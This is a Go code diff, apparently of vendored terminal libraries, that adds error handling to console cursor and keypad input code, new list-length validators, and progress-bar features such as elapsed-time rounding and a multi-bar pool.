@@ -94,43 +109,54 @@ func (c *Cursor) HorizontalAbsolute(x int) {
cursor.X = csbi.size.X
}
procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursor))))
_, _, err := procSetConsoleCursorPosition.Call(uintptr(handle), uintptr(*(*int32)(unsafe.Pointer(&cursor))))
return normalizeError(err)
}
func (c *Cursor) Show() {
func (c *Cursor) Show() error {
handle := syscall.Handle(c.Out.Fd())
var cci consoleCursorInfo
procGetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
if _, _, err := procGetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci))); normalizeError(err) != nil {
return err
}
cci.visible = 1
procSetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
_, _, err := procSetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
return normalizeError(err)
}
func (c *Cursor) Hide() {
func (c *Cursor) Hide() error {
handle := syscall.Handle(c.Out.Fd())
var cci consoleCursorInfo
procGetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
if _, _, err := procGetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci))); normalizeError(err) != nil {
return err
}
cci.visible = 0
procSetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
_, _, err := procSetConsoleCursorInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&cci)))
return normalizeError(err)
}
func (c *Cursor) Location(buf *bytes.Buffer) (Coord, error) {
func (c *Cursor) Location(buf *bytes.Buffer) (*Coord, error) {
handle := syscall.Handle(c.Out.Fd())
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return nil, err
}
return csbi.cursorPosition, nil
return &csbi.cursorPosition, nil
}
func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
handle := syscall.Handle(c.Out.Fd())
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return nil, err
}
// windows' coordinate system begins at (0, 0)
csbi.size.X--
csbi.size.Y--
+3 -2
View File
@@ -6,6 +6,7 @@ import (
"fmt"
)
func EraseLine(out FileWriter, mode EraseLineMode) {
fmt.Fprintf(out, "\x1b[%dK", mode)
func EraseLine(out FileWriter, mode EraseLineMode) error {
_, err := fmt.Fprintf(out, "\x1b[%dK", mode)
return err
}
+7 -3
View File
@@ -5,11 +5,13 @@ import (
"unsafe"
)
func EraseLine(out FileWriter, mode EraseLineMode) {
func EraseLine(out FileWriter, mode EraseLineMode) error {
handle := syscall.Handle(out.Fd())
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return err
}
var w uint32
var x Short
@@ -23,5 +25,7 @@ func EraseLine(out FileWriter, mode EraseLineMode) {
cursor.X = 0
x = csbi.size.X
}
procFillConsoleOutputCharacter.Call(uintptr(handle), uintptr(' '), uintptr(x), uintptr(*(*int32)(unsafe.Pointer(&cursor))), uintptr(unsafe.Pointer(&w)))
_, _, err := procFillConsoleOutputCharacter.Call(uintptr(handle), uintptr(' '), uintptr(x), uintptr(*(*int32)(unsafe.Pointer(&cursor))), uintptr(unsafe.Pointer(&w)))
return normalizeError(err)
}
+60 -34
View File
@@ -12,18 +12,6 @@ import (
"github.com/mattn/go-isatty"
)
var (
cursorFunctions = map[rune]func(c *Cursor) func(int){
'A': func(c *Cursor) func(int) { return c.Up },
'B': func(c *Cursor) func(int) { return c.Down },
'C': func(c *Cursor) func(int) { return c.Forward },
'D': func(c *Cursor) func(int) { return c.Back },
'E': func(c *Cursor) func(int) { return c.NextLine },
'F': func(c *Cursor) func(int) { return c.PreviousLine },
'G': func(c *Cursor) func(int) { return c.HorizontalAbsolute },
}
)
const (
foregroundBlue = 0x1
foregroundGreen = 0x2
@@ -67,9 +55,14 @@ func (w *Writer) Write(data []byte) (n int, err error) {
r := bytes.NewReader(data)
for {
ch, size, err := r.ReadRune()
var ch rune
var size int
ch, size, err = r.ReadRune()
if err != nil {
break
if err == io.EOF {
err = nil
}
return
}
n += size
@@ -78,22 +71,29 @@ func (w *Writer) Write(data []byte) (n int, err error) {
size, err = w.handleEscape(r)
n += size
if err != nil {
break
return
}
default:
fmt.Fprint(w.out, string(ch))
_, err = fmt.Fprint(w.out, string(ch))
if err != nil {
return
}
}
}
return
}
func (w *Writer) handleEscape(r *bytes.Reader) (n int, err error) {
buf := make([]byte, 0, 10)
buf = append(buf, "\x1b"...)
var ch rune
var size int
// Check '[' continues after \x1b
ch, size, err := r.ReadRune()
ch, size, err = r.ReadRune()
if err != nil {
if err == io.EOF {
err = nil
}
fmt.Fprint(w.out, string(buf))
return
}
@@ -109,6 +109,9 @@ func (w *Writer) handleEscape(r *bytes.Reader) (n int, err error) {
for {
ch, size, err = r.ReadRune()
if err != nil {
if err == io.EOF {
err = nil
}
fmt.Fprint(w.out, string(buf))
return
}
@@ -120,47 +123,62 @@ func (w *Writer) handleEscape(r *bytes.Reader) (n int, err error) {
argBuf = append(argBuf, string(ch)...)
}
w.applyEscapeCode(buf, string(argBuf), code)
err = w.applyEscapeCode(buf, string(argBuf), code)
return
}
func (w *Writer) applyEscapeCode(buf []byte, arg string, code rune) {
func (w *Writer) applyEscapeCode(buf []byte, arg string, code rune) error {
c := &Cursor{Out: w.out}
switch arg + string(code) {
case "?25h":
c.Show()
return
return c.Show()
case "?25l":
c.Hide()
return
return c.Hide()
}
if f, ok := cursorFunctions[code]; ok {
if code >= 'A' && code <= 'G' {
if n, err := strconv.Atoi(arg); err == nil {
f(c)(n)
return
switch code {
case 'A':
return c.Up(n)
case 'B':
return c.Down(n)
case 'C':
return c.Forward(n)
case 'D':
return c.Back(n)
case 'E':
return c.NextLine(n)
case 'F':
return c.PreviousLine(n)
case 'G':
return c.HorizontalAbsolute(n)
}
}
}
switch code {
case 'm':
w.applySelectGraphicRendition(arg)
return w.applySelectGraphicRendition(arg)
default:
buf = append(buf, string(code)...)
fmt.Fprint(w.out, string(buf))
_, err := fmt.Fprint(w.out, string(buf))
return err
}
}
// Original implementation: https://github.com/mattn/go-colorable
func (w *Writer) applySelectGraphicRendition(arg string) {
func (w *Writer) applySelectGraphicRendition(arg string) error {
if arg == "" {
procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(w.orgAttr))
return
_, _, err := procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(w.orgAttr))
return normalizeError(err)
}
var csbi consoleScreenBufferInfo
procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi)))
if _, _, err := procGetConsoleScreenBufferInfo.Call(uintptr(w.handle), uintptr(unsafe.Pointer(&csbi))); normalizeError(err) != nil {
return err
}
attr := csbi.attributes
for _, param := range strings.Split(arg, ";") {
@@ -223,5 +241,13 @@ func (w *Writer) applySelectGraphicRendition(arg string) {
}
}
procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(attr))
_, _, err := procSetConsoleTextAttribute.Call(uintptr(w.handle), uintptr(attr))
return normalizeError(err)
}
func normalizeError(err error) error {
if syserr, ok := err.(syscall.Errno); ok && syserr == 0 {
return nil
}
return err
}
+88 -32
View File
@@ -8,9 +8,8 @@ import (
)
type RuneReader struct {
stdio Stdio
cursor *Cursor
state runeReaderState
stdio Stdio
state runeReaderState
}
func NewRuneReader(stdio Stdio) *RuneReader {
@@ -20,18 +19,25 @@ func NewRuneReader(stdio Stdio) *RuneReader {
}
}
func (rr *RuneReader) printChar(char rune, mask rune) {
func (rr *RuneReader) printChar(char rune, mask rune) error {
// if we don't need to mask the input
if mask == 0 {
// just print the character the user pressed
fmt.Fprintf(rr.stdio.Out, "%c", char)
} else {
// otherwise print the mask we were given
fmt.Fprintf(rr.stdio.Out, "%c", mask)
_, err := fmt.Fprintf(rr.stdio.Out, "%c", char)
return err
}
// otherwise print the mask we were given
_, err := fmt.Fprintf(rr.stdio.Out, "%c", mask)
return err
}
func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
type OnRuneFn func(rune, []rune) ([]rune, bool, error)
func (rr *RuneReader) ReadLine(mask rune, onRunes ...OnRuneFn) ([]rune, error) {
return rr.ReadLineWithDefault(mask, []rune{}, onRunes...)
}
func (rr *RuneReader) ReadLineWithDefault(mask rune, d []rune, onRunes ...OnRuneFn) ([]rune, error) {
line := []rune{}
// we only care about horizontal displacements from the origin so start counting at 0
index := 0
@@ -41,19 +47,58 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
Out: rr.stdio.Out,
}
onRune := func(r rune, line []rune) ([]rune, bool, error) {
return line, false, nil
}
// if the user pressed a key the caller was interested in capturing
if len(onRunes) > 0 {
onRune = onRunes[0]
}
// we get the terminal width and height (if resized after this point the property might become invalid)
terminalSize, _ := cursor.Size(rr.Buffer())
// we set the current location of the cursor once
cursorCurrent, _ := cursor.Location(rr.Buffer())
increment := func() {
if cursorCurrent.CursorIsAtLineEnd(terminalSize) {
cursorCurrent.X = COORDINATE_SYSTEM_BEGIN
cursorCurrent.Y++
} else {
cursorCurrent.X++
}
}
decrement := func() {
if cursorCurrent.CursorIsAtLineBegin() {
cursorCurrent.X = terminalSize.X
cursorCurrent.Y--
} else {
cursorCurrent.X--
}
}
if len(d) > 0 {
index = len(d)
if _, err := fmt.Fprint(rr.stdio.Out, string(d)); err != nil {
return d, err
}
line = d
for range d {
increment()
}
}
for {
// wait for some input
r, _, err := rr.ReadRune()
if err != nil {
return line, err
}
// increment cursor location
cursorCurrent.X++
if l, stop, err := onRune(r, line); stop || err != nil {
return l, err
}
// if the user pressed enter or some other newline/termination like ctrl+d
if r == '\r' || r == '\n' || r == KeyEndTransmission {
@@ -63,13 +108,10 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
EraseLine(rr.stdio.Out, ERASE_LINE_END)
cursor.PreviousLine(1)
cursor.Forward(int(terminalSize.X))
cursorCurrent.X = terminalSize.X
cursorCurrent.Y--
} else {
cursor.Back(1)
cursorCurrent.X--
}
decrement()
index--
}
// move the cursor the a new line
@@ -81,7 +123,9 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
// if the user interrupts (ie with ctrl+c)
if r == KeyInterrupt {
// go to the beginning of the next line
fmt.Fprint(rr.stdio.Out, "\r\n")
if _, err := fmt.Fprint(rr.stdio.Out, "\r\n"); err != nil {
return line, err
}
// we're done processing the input, and treat interrupt like an error
return line, InterruptErr
@@ -128,8 +172,9 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
//Erase symbols which are left over from older print
EraseLine(rr.stdio.Out, ERASE_LINE_END)
// print characters to the new line appropriately
rr.printChar(char, mask)
if err := rr.printChar(char, mask); err != nil {
return line, err
}
}
// erase what's left over from last print
if cursorCurrent.Y < terminalSize.Y {
@@ -148,9 +193,10 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
// decrement the index
index--
decrement()
} else {
// otherwise the user pressed backspace while at the beginning of the line
soundBell(rr.stdio.Out)
_ = soundBell(rr.stdio.Out)
}
// we're done processing this key
@@ -170,11 +216,12 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
}
//decrement the index
index--
decrement()
} else {
// otherwise we are at the beginning of where we started reading lines
// sound the bell
soundBell(rr.stdio.Out)
_ = soundBell(rr.stdio.Out)
}
// we're done processing this key press
@@ -192,11 +239,12 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
cursor.Forward(runeWidth(line[index]))
}
index++
increment()
} else {
// otherwise we are at the end of the word and can't go past
// sound the bell
soundBell(rr.stdio.Out)
_ = soundBell(rr.stdio.Out)
}
// we're done processing this key press
@@ -208,12 +256,11 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
if cursorCurrent.CursorIsAtLineBegin() {
cursor.PreviousLine(1)
cursor.Forward(int(terminalSize.X))
cursorCurrent.X = terminalSize.X
cursorCurrent.Y--
cursorCurrent.X = terminalSize.X
} else {
cursor.Back(runeWidth(line[index-1]))
cursorCurrent.X--
cursorCurrent.X -= Short(runeWidth(line[index-1]))
}
index--
}
@@ -223,12 +270,11 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
for index != len(line) {
if cursorCurrent.CursorIsAtLineEnd(terminalSize) {
cursor.NextLine(1)
cursorCurrent.X = COORDINATE_SYSTEM_BEGIN
cursorCurrent.Y++
cursorCurrent.X = COORDINATE_SYSTEM_BEGIN
} else {
cursor.Forward(runeWidth(line[index]))
cursorCurrent.X++
cursorCurrent.X += Short(runeWidth(line[index]))
}
index++
}
@@ -247,7 +293,9 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
for _, char := range line[index:] {
EraseLine(rr.stdio.Out, ERASE_LINE_END)
// print out the character
rr.printChar(char, mask)
if err := rr.printChar(char, mask); err != nil {
return line, err
}
}
// erase what's left on last line
if cursorCurrent.Y < terminalSize.Y {
@@ -277,8 +325,11 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
line = append(line, r)
// save the location of the cursor
index++
increment()
// print out the character
rr.printChar(r, mask)
if err := rr.printChar(r, mask); err != nil {
return line, err
}
} else {
// we are in the middle of the word so we need to insert the character the user pressed
line = append(line[:index], append([]rune{r}, line[index:]...)...)
@@ -292,13 +343,17 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
for _, char := range line[index:] {
EraseLine(rr.stdio.Out, ERASE_LINE_END)
// print out the character
rr.printChar(char, mask)
cursorCurrent.X++
if err := rr.printChar(char, mask); err != nil {
return line, err
}
increment()
}
// if we are at the last line, we want to visually insert a new line and append to it.
if cursorCurrent.CursorIsAtLineEnd(terminalSize) && cursorCurrent.Y == terminalSize.Y {
// add a new line to the terminal
fmt.Fprintln(rr.stdio.Out)
if _, err := fmt.Fprintln(rr.stdio.Out); err != nil {
return line, err
}
// restore the position of the cursor horizontally
cursor.Restore()
// restore the position of the cursor vertically
@@ -316,6 +371,7 @@ func (rr *RuneReader) ReadLine(mask rune) ([]rune, error) {
}
// increment the index
index++
increment()
}
}
+61 -41
View File
@@ -16,6 +16,11 @@ import (
"unsafe"
)
const (
normalKeypad = '['
applicationKeypad = 'O'
)
type runeReaderState struct {
term syscall.Termios
reader *bufio.Reader
@@ -45,6 +50,11 @@ func (rr *RuneReader) SetTermMode() error {
newState := rr.state.term
newState.Lflag &^= syscall.ECHO | syscall.ECHONL | syscall.ICANON | syscall.ISIG
// Because we are clearing canonical mode, we need to ensure VMIN & VTIME are
// set to the values we expect. This combination puts things in standard
// "blocking read" mode (see termios(3)).
newState.Cc[syscall.VMIN] = 1
newState.Cc[syscall.VTIME] = 0
if _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(rr.stdio.In.Fd()), ioctlWriteTermios, uintptr(unsafe.Pointer(&newState)), 0, 0, 0); err != 0 {
return err
@@ -60,52 +70,62 @@ func (rr *RuneReader) RestoreTermMode() error {
return nil
}
// ReadRune Parse escape sequences such as ESC [ A for arrow keys.
// See https://vt100.net/docs/vt102-ug/appendixc.html
func (rr *RuneReader) ReadRune() (rune, int, error) {
r, size, err := rr.state.reader.ReadRune()
if err != nil {
return r, size, err
}
// parse ^[ sequences to look for arrow keys
if r == '\033' {
if rr.state.reader.Buffered() == 0 {
// no more characters so must be `Esc` key
return KeyEscape, 1, nil
}
r, size, err = rr.state.reader.ReadRune()
if err != nil {
return r, size, err
}
if r != '[' {
return r, size, fmt.Errorf("Unexpected Escape Sequence: %q", []rune{'\033', r})
}
r, size, err = rr.state.reader.ReadRune()
if err != nil {
return r, size, err
}
switch r {
case 'D':
return KeyArrowLeft, 1, nil
case 'C':
return KeyArrowRight, 1, nil
case 'A':
return KeyArrowUp, 1, nil
case 'B':
return KeyArrowDown, 1, nil
case 'H': // Home button
return SpecialKeyHome, 1, nil
case 'F': // End button
return SpecialKeyEnd, 1, nil
case '3': // Delete Button
// discard the following '~' key from buffer
rr.state.reader.Discard(1)
return SpecialKeyDelete, 1, nil
default:
// discard the following '~' key from buffer
rr.state.reader.Discard(1)
return IgnoreKey, 1, nil
}
return r, size, fmt.Errorf("Unknown Escape Sequence: %q", []rune{'\033', '[', r})
if r != KeyEscape {
return r, size, err
}
return r, size, err
if rr.state.reader.Buffered() == 0 {
// no more characters so must be `Esc` key
return KeyEscape, 1, nil
}
r, size, err = rr.state.reader.ReadRune()
if err != nil {
return r, size, err
}
// ESC O ... or ESC [ ...?
if r != normalKeypad && r != applicationKeypad {
return r, size, fmt.Errorf("unexpected escape sequence from terminal: %q", []rune{KeyEscape, r})
}
keypad := r
r, size, err = rr.state.reader.ReadRune()
if err != nil {
return r, size, err
}
switch r {
case 'A': // ESC [ A or ESC O A
return KeyArrowUp, 1, nil
case 'B': // ESC [ B or ESC O B
return KeyArrowDown, 1, nil
case 'C': // ESC [ C or ESC O C
return KeyArrowRight, 1, nil
case 'D': // ESC [ D or ESC O D
return KeyArrowLeft, 1, nil
case 'F': // ESC [ F or ESC O F
return SpecialKeyEnd, 1, nil
case 'H': // ESC [ H or ESC O H
return SpecialKeyHome, 1, nil
case '3': // ESC [ 3
if keypad == normalKeypad {
// discard the following '~' key from buffer
_, _ = rr.state.reader.Discard(1)
return SpecialKeyDelete, 1, nil
}
}
// discard the following '~' key from buffer
_, _ = rr.state.reader.Discard(1)
return IgnoreKey, 1, nil
}
+3 -2
View File
@@ -26,6 +26,7 @@ const (
KeyTab = '\t'
)
func soundBell(out io.Writer) {
fmt.Fprint(out, "\a")
func soundBell(out io.Writer) error {
_, err := fmt.Fprint(out, "\a")
return err
}
+7 -4
View File
@@ -18,18 +18,21 @@ func TransformString(f func(s string) string) Transformer {
return func(ans interface{}) interface{} {
// if the answer value passed in is the zero value of the appropriate type
if isZero(reflect.ValueOf(ans)) {
// skip this `Transformer` by returning a nil value.
// skip this `Transformer` by returning a zero value of string.
// The original answer will be not affected,
// see survey.go#L125.
return nil
// A zero value of string should be returned to be handled by
// next Transformer in a composed Tranformer,
// see tranform.go#L75
return ""
}
// "ans" is never nil here, so we don't have to check that
// see survey.go#L97 for more.
// see survey.go#L338 for more.
// Make sure that the the answer's value was a typeof string.
s, ok := ans.(string)
if !ok {
return nil
return ""
}
return f(s)
+40
View File
@@ -4,6 +4,8 @@ import (
"errors"
"fmt"
"reflect"
"github.com/AlecAivazis/survey/v2/core"
)
// Required does not allow an empty value
@@ -58,6 +60,44 @@ func MinLength(length int) Validator {
}
}
// MaxItems requires that the list is no longer than the specified value
func MaxItems(numberItems int) Validator {
// return a validator that checks the length of the list
return func(val interface{}) error {
if list, ok := val.([]core.OptionAnswer); ok {
// if the list is longer than the given value
if len(list) > numberItems {
// yell loudly
return fmt.Errorf("value is too long. Max items is %v", numberItems)
}
} else {
// otherwise we cannot convert the value into a list of answer and cannot enforce length
return fmt.Errorf("cannot impose the length on something other than a list of answers")
}
// the input is fine
return nil
}
}
// MinItems requires that the list is longer or equal in length to the specified value
func MinItems(numberItems int) Validator {
// return a validator that checks the length of the list
return func(val interface{}) error {
if list, ok := val.([]core.OptionAnswer); ok {
// if the list is shorter than the given value
if len(list) < numberItems {
// yell loudly
return fmt.Errorf("value is too short. Min items is %v", numberItems)
}
} else {
// otherwise we cannot convert the value into a list of answer and cannot enforce length
return fmt.Errorf("cannot impose the length on something other than a list of answers")
}
// the input is fine
return nil
}
}
// ComposeValidators is a variadic function used to create one validator from many.
func ComposeValidators(validators ...Validator) Validator {
// return a validator that calls each one sequentially
+58 -18
View File
@@ -4,6 +4,7 @@ import (
"bytes"
"fmt"
"math"
"strings"
"sync"
"time"
)
@@ -128,10 +129,13 @@ type bar struct {
func (p *bar) write(state *State, eln, width int) int {
repeat := width / p.cc[eln]
remainder := width % p.cc[eln]
for i := 0; i < repeat; i++ {
p.buf.Write(p.eb[eln])
}
StripStringToBuffer(string(p.eb[eln]), width%p.cc[eln], p.buf)
if remainder > 0 {
StripStringToBuffer(string(p.eb[eln]), remainder, p.buf)
}
return width
}
@@ -228,6 +232,48 @@ var ElementBar ElementFunc = func(state *State, args ...string) string {
return p.buf.String()
}
func elapsedTime(state *State) string {
elapsed := state.Time().Sub(state.StartTime())
var precision time.Duration
var ok bool
if precision, ok = state.Get(TimeRound).(time.Duration); !ok {
// default behavior: round to nearest .1s when elapsed < 10s
//
// we compare with 9.95s as opposed to 10s to avoid an annoying
// interaction with the fixed precision display code below,
// where 9.9s would be rounded to 10s but printed as 10.0s, and
// then 10.0s would be rounded to 10s and printed as 10s
if elapsed < 9950*time.Millisecond {
precision = 100 * time.Millisecond
} else {
precision = time.Second
}
}
rounded := elapsed.Round(precision)
if precision < time.Second && rounded >= time.Second {
// special handling to ensure string is shown with the given
// precision, with trailing zeros after the decimal point if
// necessary
reference := (2*time.Second - time.Nanosecond).Truncate(precision).String()
// reference looks like "1.9[...]9s", telling us how many
// decimal digits we need
neededDecimals := len(reference) - 3
s := rounded.String()
dotIndex := strings.LastIndex(s, ".")
if dotIndex != -1 {
// s has the form "[stuff].[decimals]s"
decimals := len(s) - dotIndex - 2
extraZeros := neededDecimals - decimals
return fmt.Sprintf("%s%ss", s[:len(s)-1], strings.Repeat("0", extraZeros))
} else {
// s has the form "[stuff]s"
return fmt.Sprintf("%s.%ss", s[:len(s)-1], strings.Repeat("0", neededDecimals))
}
} else {
return rounded.String()
}
}
// ElementRemainingTime calculates remaining time based on speed (EWMA)
// Optionally can take one or two string arguments.
// First string will be used as value for format time duration string, default is "%s".
@@ -235,29 +281,23 @@ var ElementBar ElementFunc = func(state *State, args ...string) string {
// Third string will be used when value not available, default is "?"
// In template use as follows: {{rtime .}} or {{rtime . "%s remain"}} or {{rtime . "%s remain" "%s total" "???"}}
var ElementRemainingTime ElementFunc = func(state *State, args ...string) string {
var rts string
sp := getSpeedObj(state).value(state)
if !state.IsFinished() {
if sp > 0 {
remain := float64(state.Total() - state.Value())
remainDur := time.Duration(remain/sp) * time.Second
rts = remainDur.String()
} else {
return argsHelper(args).getOr(2, "?")
}
} else {
rts = state.Time().Truncate(time.Second).Sub(state.StartTime().Truncate(time.Second)).String()
return fmt.Sprintf(argsHelper(args).getOr(1, "%s"), rts)
if state.IsFinished() {
return fmt.Sprintf(argsHelper(args).getOr(1, "%s"), elapsedTime(state))
}
return fmt.Sprintf(argsHelper(args).getOr(0, "%s"), rts)
sp := getSpeedObj(state).value(state)
if sp > 0 {
remain := float64(state.Total() - state.Value())
remainDur := time.Duration(remain/sp) * time.Second
return fmt.Sprintf(argsHelper(args).getOr(0, "%s"), remainDur)
}
return argsHelper(args).getOr(2, "?")
}
// ElementElapsedTime shows elapsed time
// Optionally cat take one argument - it's format for time string.
// Optionally can take one argument - it's format for time string.
// In template use as follows: {{etime .}} or {{etime . "%s elapsed"}}
var ElementElapsedTime ElementFunc = func(state *State, args ...string) string {
etm := state.Time().Truncate(time.Second).Sub(state.StartTime().Truncate(time.Second))
return fmt.Sprintf(argsHelper(args).getOr(0, "%s"), etm.String())
return fmt.Sprintf(argsHelper(args).getOr(0, "%s"), elapsedTime(state))
}
// ElementString get value from bar by given key and print them
+31 -2
View File
@@ -12,6 +12,8 @@ import (
"text/template"
"time"
"github.com/fatih/color"
"github.com/mattn/go-colorable"
"github.com/mattn/go-isatty"
@@ -19,7 +21,7 @@ import (
)
// Version of ProgressBar library
const Version = "3.0.5"
const Version = "3.0.8"
type key int
@@ -43,6 +45,12 @@ const (
// Color by default is true when output is tty, but you can set to false for disabling colors
Color
// Hide the progress bar when finished, rather than leaving it up. By default it's false.
CleanOnFinish
// Round elapsed time to this precision. Defaults to time.Second.
TimeRound
)
const (
@@ -140,6 +148,9 @@ func (pb *ProgressBar) configure() {
if pb.refreshRate == 0 {
pb.refreshRate = defaultRefreshRate
}
if pb.vars[CleanOnFinish] == nil {
pb.vars[CleanOnFinish] = false
}
if f, ok := pb.output.(*os.File); ok {
pb.coutput = colorable.NewColorable(f)
} else {
@@ -204,7 +215,12 @@ func (pb *ProgressBar) write(finish bool) {
if ret, ok := pb.Get(ReturnSymbol).(string); ok {
result = ret + result
if finish && ret == "\r" {
result += "\n"
if pb.GetBool(CleanOnFinish) {
// "Wipe out" progress bar by overwriting one line with blanks
result = "\r" + color.New(color.Reset).Sprintf(strings.Repeat(" ", width)) + "\r"
} else {
result += "\n"
}
}
}
if pb.GetBool(Color) {
@@ -225,6 +241,12 @@ func (pb *ProgressBar) SetTotal(value int64) *ProgressBar {
return pb
}
// AddTotal adds to the total bar value
func (pb *ProgressBar) AddTotal(value int64) *ProgressBar {
atomic.AddInt64(&pb.total, value)
return pb
}
// SetCurrent sets the current bar value
func (pb *ProgressBar) SetCurrent(value int64) *ProgressBar {
atomic.StoreInt64(&pb.current, value)
@@ -386,6 +408,13 @@ func (pb *ProgressBar) IsStarted() bool {
return pb.finish != nil
}
// IsFinished indicates progress bar is finished
func (pb *ProgressBar) IsFinished() bool {
pb.mu.RLock()
defer pb.mu.RUnlock()
return pb.finished
}
// SetTemplateString sets ProgressBar tempate string and parse it
func (pb *ProgressBar) SetTemplateString(tmpl string) *ProgressBar {
pb.mu.Lock()
+105
View File
@@ -0,0 +1,105 @@
// +build linux darwin freebsd netbsd openbsd solaris dragonfly windows plan9 aix
package pb
import (
"io"
"sync"
"time"
"github.com/cheggaaa/pb/v3/termutil"
)
// Create and start new pool with given bars
// You need call pool.Stop() after work
func StartPool(pbs ...*ProgressBar) (pool *Pool, err error) {
pool = new(Pool)
if err = pool.Start(); err != nil {
return
}
pool.Add(pbs...)
return
}
// NewPool initialises a pool with progress bars, but
// doesn't start it. You need to call Start manually
func NewPool(pbs ...*ProgressBar) (pool *Pool) {
pool = new(Pool)
pool.Add(pbs...)
return
}
type Pool struct {
Output io.Writer
RefreshRate time.Duration
bars []*ProgressBar
lastBarsCount int
shutdownCh chan struct{}
workerCh chan struct{}
m sync.Mutex
finishOnce sync.Once
}
// Add progress bars.
func (p *Pool) Add(pbs ...*ProgressBar) {
p.m.Lock()
defer p.m.Unlock()
for _, bar := range pbs {
bar.Set(Static, true)
bar.Start()
p.bars = append(p.bars, bar)
}
}
func (p *Pool) Start() (err error) {
p.RefreshRate = defaultRefreshRate
p.shutdownCh, err = termutil.RawModeOn()
if err != nil {
return
}
p.workerCh = make(chan struct{})
go p.writer()
return
}
func (p *Pool) writer() {
var first = true
defer func() {
if first == false {
p.print(false)
} else {
p.print(true)
p.print(false)
}
close(p.workerCh)
}()
for {
select {
case <-time.After(p.RefreshRate):
if p.print(first) {
p.print(false)
return
}
first = false
case <-p.shutdownCh:
return
}
}
}
// Restore terminal state and close pool
func (p *Pool) Stop() error {
p.finishOnce.Do(func() {
if p.shutdownCh != nil {
close(p.shutdownCh)
}
})
// Wait for the worker to complete
select {
case <-p.workerCh:
}
return termutil.RawModeOff()
}
+46
View File
@@ -0,0 +1,46 @@
// +build windows
package pb
import (
"fmt"
"log"
"github.com/cheggaaa/pb/v3/termutil"
)
func (p *Pool) print(first bool) bool {
p.m.Lock()
defer p.m.Unlock()
var out string
if !first {
coords, err := termutil.GetCursorPos()
if err != nil {
log.Panic(err)
}
coords.Y -= int16(p.lastBarsCount)
if coords.Y < 0 {
coords.Y = 0
}
coords.X = 0
err = termutil.SetCursorPos(coords)
if err != nil {
log.Panic(err)
}
}
isFinished := true
for _, bar := range p.bars {
if !bar.IsFinished() {
isFinished = false
}
out += fmt.Sprintf("\r%s\n", bar.String())
}
if p.Output != nil {
fmt.Fprint(p.Output, out)
} else {
fmt.Print(out)
}
p.lastBarsCount = len(p.bars)
return isFinished
}
+43
View File
@@ -0,0 +1,43 @@
// +build linux darwin freebsd netbsd openbsd solaris dragonfly plan9 aix
package pb
import (
"fmt"
"os"
"github.com/cheggaaa/pb/v3/termutil"
)
func (p *Pool) print(first bool) bool {
p.m.Lock()
defer p.m.Unlock()
var out string
if !first {
out = fmt.Sprintf("\033[%dA", p.lastBarsCount)
}
isFinished := true
bars := p.bars
rows, cols, err := termutil.TerminalSize()
if err != nil {
cols = defaultBarWidth
}
if rows > 0 && len(bars) > rows {
// we need to hide bars that overflow terminal height
bars = bars[len(bars)-rows:]
}
for _, bar := range bars {
if !bar.IsFinished() {
isFinished = false
}
bar.SetWidth(cols)
out += fmt.Sprintf("\r%s\n", bar.String())
}
if p.Output != nil {
fmt.Fprint(p.Output, out)
} else {
fmt.Fprint(os.Stderr, out)
}
p.lastBarsCount = len(bars)
return isFinished
}
+4 -4
View File
@@ -3,13 +3,13 @@ package pb
var (
// Full - preset with all default available elements
// Example: 'Prefix 20/100 [-->______] 20% 1 p/s ETA 1m Suffix'
Full ProgressBarTemplate = `{{string . "prefix"}}{{counters . }} {{bar . }} {{percent . }} {{speed . }} {{rtime . "ETA %s"}}{{string . "suffix"}}`
Full ProgressBarTemplate = `{{with string . "prefix"}}{{.}} {{end}}{{counters . }} {{bar . }} {{percent . }} {{speed . }} {{rtime . "ETA %s"}}{{with string . "suffix"}} {{.}}{{end}}`
// Default - preset like Full but without elapsed time
// Example: 'Prefix 20/100 [-->______] 20% 1 p/s ETA 1m Suffix'
